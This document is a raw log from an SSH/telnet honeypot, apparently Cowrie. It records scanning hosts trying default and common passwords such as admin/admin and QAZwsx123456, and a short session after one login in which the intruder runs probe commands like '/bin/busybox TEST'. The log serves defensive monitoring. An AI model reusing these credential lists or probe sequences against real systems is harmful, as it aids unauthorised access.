{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:79:01:99:ce:36:c9:aa:5c:0d:e9:15:60:46:f8:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2FxfDyRk4l32EWw38Cd1G5r0rIYssoFNGbZhTYxFUIuQtYOmDVHGfkcOTmftfmhPsZoZFbH31Shl5yeqpN/GVifi9ywJOhjjwji433Hw27coq9rfVRGmTQvtihtyCIy8W0O3K9F2mU1nKWSwJF+zIgpKeZY9RJJ5UaWLoWoHdSaUrPWs4sc4qo0x1Trp78tm5lNAxW+yPvrlr2v7IZRxrQWSs9up+FxY2qaEMHPORre915NLSbwsTVvjz6b31mtZCg5BxBFIsAIaLTMzYQRIRipWrfYCQ4DHxof3P3LT6vFrzPu8edCJ2SAebqz0UULDBlkTYa47hx0gr6bU5ObVolD+Bwvh1ydwDAzp6EmuF3cUbTIZBn3t0WjkJqfVmYUf16aqsAMfHclbmBQNHAFJD33kqacm7wKHKPZOZ2VDBHVTNE/cbvYTBZIHx6EflibLRylv7gAl4UdLVxFPQanC+Fhm8wwuUzMSt6Esc65XNNXmTpD2wPFfNMPRBytc8FAxJ6nxlZY46iSKALRu/08RrVwrxNXUN03e2hJ8WPiZwJDtmcT4/RSJ5RqZLDpTVsD9W97BLbQ2twDvRbfDjgUz8l8II81Qg9juerZCxt+bmPlM+1Pviu+KvPbxkJorDq+znWJsVVAyJsBPnGg+XEfQ3AqOF2tARx9ffIPo9MA7nhw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:33.843601Z","src_ip":"179.61.232.244","session":"cecc0c351edd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:bc:98:58:c2:58:51:e3:43:d2:b0:61:bc:c2:73:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/fOj5JoDzWIjTbHtcwK60NcRjWE2yDKbFBGz4t4/LO4obBp27bK0VNHFZu/qzjVry9nUqzYeIeunLV0rNBYhlB/PTpo4Un4tU1qCXAb1lzxpV7gkPPUjT7bbu/38mR0YOmqRv20CMM7qooJPG3JTYhTbSSoN99PCxjxlO0S9DADMJ9d/5nIyVhhzsCsFxavhSgFbZUNqWYwNkL8F2joEquyS4wntqIKuwsdyELRG170O1C00dNFN7Aqj1SneAJIYIl4q6JZCxciSaWaATtV64Ko5QcnjqxEDfxHMqAz87w9+RRCj54Fshrru9c9NCheJXzWIy/57BEZxeVSgLnOV3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:bc:98:58:c2:58:51:e3:43:d2:b0:61:bc:c2:73:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:33.872801Z","src_ip":"179.61.232.244","session":"cecc0c351edd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:bc:98:58:c2:58:51:e3:43:d2:b0:61:bc:c2:73:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/fOj5JoDzWIjTbHtcwK60NcRjWE2yDKbFBGz4t4/LO4obBp27bK0VNHFZu/qzjVry9nUqzYeIeunLV0rNBYhlB/PTpo4Un4tU1qCXAb1lzxpV7gkPPUjT7bbu/38mR0YOmqRv20CMM7qooJPG3JTYhTbSSoN99PCxjxlO0S9DADMJ9d/5nIyVhhzsCsFxavhSgFbZUNqWYwNkL8F2joEquyS4wntqIKuwsdyELRG170O1C00dNFN7Aqj1SneAJIYIl4q6JZCxciSaWaATtV64Ko5QcnjqxEDfxHMqAz87w9+RRCj54Fshrru9c9NCheJXzWIy/57BEZxeVSgLnOV3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:33.875611Z","src_ip":"179.61.232.244","session":"cecc0c351edd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:99:2e:9e:ae:e8:8f:60:78:8b:60:ab:56:a1:4b:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjFDaLHYxvtb6ATKZkUrMh41J50Y7IEBGHHSxg5sdqHP6BHjSXXPL3/K2FMHm6TGiafLlkVIqTgpVeoFiJUfQfmZG+SCQZe47+lgJdBl3+g+qiNJ8bToq1PVAD7Ux3ZviTCRDdlXMuntGhD4TC8xT5B0bG+236PU+mb7SQgrH4x7UJ3irO7npVI1PRvapkU3MhvMqI/8RkHcwq3EH+j7vOWVtriHupoXxnpJo4PgXZAA0fxo6QyuY9quE4DRsNREZD0h5NAGLQPrYlN421E4vBnujr/QHYJalEeZ7X2+fxDIuESaDYPxptdPj09kxALtNhshGe8BCQOSbkTxv3pNA7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:99:2e:9e:ae:e8:8f:60:78:8b:60:ab:56:a1:4b:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:33.903242Z","src_ip":"179.61.232.244","session":"cecc0c351edd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:99:2e:9e:ae:e8:8f:60:78:8b:60:ab:56:a1:4b:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjFDaLHYxvtb6ATKZkUrMh41J50Y7IEBGHHSxg5sdqHP6BHjSXXPL3/K2FMHm6TGiafLlkVIqTgpVeoFiJUfQfmZG+SCQZe47+lgJdBl3+g+qiNJ8bToq1PVAD7Ux3ZviTCRDdlXMuntGhD4TC8xT5B0bG+236PU+mb7SQgrH4x7UJ3irO7npVI1PRvapkU3MhvMqI/8RkHcwq3EH+j7vOWVtriHupoXxnpJo4PgXZAA0fxo6QyuY9quE4DRsNREZD0h5NAGLQPrYlN421E4vBnujr/QHYJalEeZ7X2+fxDIuESaDYPxptdPj09kxALtNhshGe8BCQOSbkTxv3pNA7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:33.906171Z","src_ip":"179.61.232.244","session":"cecc0c351edd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:33.934446Z","src_ip":"179.61.232.244","session":"cecc0c351edd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.79864859580994,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:40.556861Z","src_ip":"222.99.31.54","session":"510921f50a8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.99.31.54","src_port":60601,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2ac92a6b1a1","protocol":"telnet","message":"New connection: 222.99.31.54:60601 (159.203.135.109:23) [session: d2ac92a6b1a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:41.747285Z"}
{"eventid":"cowrie.login.failed","username":"b'\\xdf\\xda\\xd3\\xd7\\xd0'","password":"b'\\x8f\\x8c\\x8d\\x8a\\x8b\\x88'","message":"login attempt [b'\\xdf\\xda\\xd3\\xd7\\xd0'/b'\\x8f\\x8c\\x8d\\x8a\\x8b\\x88'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:42.631590Z","src_ip":"222.99.31.54","session":"d2ac92a6b1a1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:43.555565Z","src_ip":"222.99.31.54","session":"d2ac92a6b1a1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:54:44.483251Z","src_ip":"222.99.31.54","session":"d2ac92a6b1a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":41670,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f8b8cf89ca9","protocol":"ssh","message":"New connection: 143.20.185.207:41670 (10.17.0.5:22) [session: 7f8b8cf89ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:06.764266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:06.768023Z","src_ip":"143.20.185.207","session":"7f8b8cf89ca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:06.886004Z","src_ip":"143.20.185.207","session":"7f8b8cf89ca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefinedVPS8VCPU32GBAMD","message":"login attempt [root/undefinedVPS8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:07.252511Z","src_ip":"143.20.185.207","session":"7f8b8cf89ca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:08.370006Z","src_ip":"143.20.185.207","session":"7f8b8cf89ca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.8061945438385,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:15.553463Z","src_ip":"222.99.31.54","session":"d2ac92a6b1a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.99.31.54","src_port":32923,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fb865c09e76","protocol":"telnet","message":"New connection: 222.99.31.54:32923 (159.203.135.109:23) [session: 5fb865c09e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:16.750752Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":56066,"dst_ip":"159.203.135.109","dst_port":23,"session":"34c9ae8ca4d8","protocol":"telnet","message":"New connection: 137.184.5.188:56066 (159.203.135.109:23) [session: 34c9ae8ca4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:17.535879Z"}
{"eventid":"cowrie.login.failed","username":"b'\\xca\\xdb\\xd2\\xd0\\xdb\\xca'","password":"b'\\xca\\xdb\\xd2\\xd0\\xdb\\xca'","message":"login attempt [b'\\xca\\xdb\\xd2\\xd0\\xdb\\xca'/b'\\xca\\xdb\\xd2\\xd0\\xdb\\xca'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:17.634550Z","src_ip":"222.99.31.54","session":"5fb865c09e76","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:18.546474Z","src_ip":"222.99.31.54","session":"5fb865c09e76","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:19.478837Z","src_ip":"222.99.31.54","session":"5fb865c09e76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":50966,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e2b78d55f0e","protocol":"ssh","message":"New connection: 101.36.119.203:50966 (10.17.0.5:22) [session: 9e2b78d55f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:34.619865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:34.623399Z","src_ip":"101.36.119.203","session":"9e2b78d55f0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:34.841538Z","src_ip":"101.36.119.203","session":"9e2b78d55f0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZwsx123456","message":"login attempt [root/QAZwsx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:35.743415Z","src_ip":"101.36.119.203","session":"9e2b78d55f0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:36.963397Z","src_ip":"101.36.119.203","session":"9e2b78d55f0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.7942590713501,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:50.544836Z","src_ip":"222.99.31.54","session":"5fb865c09e76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.99.31.54","src_port":33465,"dst_ip":"159.203.135.109","dst_port":23,"session":"969276930923","protocol":"telnet","message":"New connection: 222.99.31.54:33465 (159.203.135.109:23) [session: 969276930923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:50.737973Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.137","src_port":39558,"dst_ip":"10.17.0.5","dst_port":23,"session":"322e2a9047ca","protocol":"telnet","message":"New connection: 141.11.88.137:39558 (10.17.0.5:23) [session: 322e2a9047ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:51.335322Z"}
{"eventid":"cowrie.session.closed","duration":0.202225923538208,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:51.537436Z","src_ip":"141.11.88.137","session":"322e2a9047ca","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"b'\\xcc\\xd1\\xd1\\xca'","password":"b'\\xcc\\xd1\\xd1\\xca'","message":"login attempt [b'\\xcc\\xd1\\xd1\\xca'/b'\\xcc\\xd1\\xd1\\xca'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:51.598842Z","src_ip":"222.99.31.54","session":"969276930923","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.137","src_port":39568,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbb8d69e99c9","protocol":"telnet","message":"New connection: 141.11.88.137:39568 (10.17.0.5:23) [session: bbb8d69e99c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:51.617278Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:52.234776Z","src_ip":"141.11.88.137","session":"bbb8d69e99c9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:52.486672Z","src_ip":"222.99.31.54","session":"969276930923","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.6179897785186768,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:53.235125Z","src_ip":"141.11.88.137","session":"bbb8d69e99c9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:53.387028Z","src_ip":"222.99.31.54","session":"969276930923","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.137","src_port":39580,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd508a6a5a71","protocol":"telnet","message":"New connection: 141.11.88.137:39580 (10.17.0.5:23) [session: fd508a6a5a71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:54.320488Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:54.847218Z","src_ip":"141.11.88.137","session":"fd508a6a5a71","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:54.896382Z","src_ip":"141.11.88.137","session":"fd508a6a5a71","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:55.848098Z","src_ip":"141.11.88.137","session":"fd508a6a5a71","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:56.348053Z","src_ip":"141.11.88.137","session":"fd508a6a5a71","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:56.951535Z","src_ip":"141.11.88.137","session":"fd508a6a5a71","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:57.552483Z","src_ip":"141.11.88.137","session":"fd508a6a5a71","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:57.555549Z","src_ip":"141.11.88.137","session":"fd508a6a5a71","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.3","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:58.153498Z","src_ip":"141.11.88.137","session":"fd508a6a5a71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.843095302581787,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:55:58.163469Z","src_ip":"141.11.88.137","session":"fd508a6a5a71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.608951807022095,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:56:17.144576Z","src_ip":"137.184.5.188","session":"34c9ae8ca4d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.81921672821045,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:56:24.557057Z","src_ip":"222.99.31.54","session":"969276930923","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":34416,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8ae91693aa1","protocol":"ssh","message":"New connection: 192.169.197.250:34416 (159.203.135.109:22) [session: c8ae91693aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:56:24.675499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:56:24.679847Z","src_ip":"192.169.197.250","session":"c8ae91693aa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:56:24.745954Z","src_ip":"192.169.197.250","session":"c8ae91693aa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome$@!#%^&*(","message":"login attempt [root/welcome$@!#%^&*(] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:56:24.944757Z","src_ip":"192.169.197.250","session":"c8ae91693aa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:56:26.010955Z","src_ip":"192.169.197.250","session":"c8ae91693aa1","protocol":"ssh"}
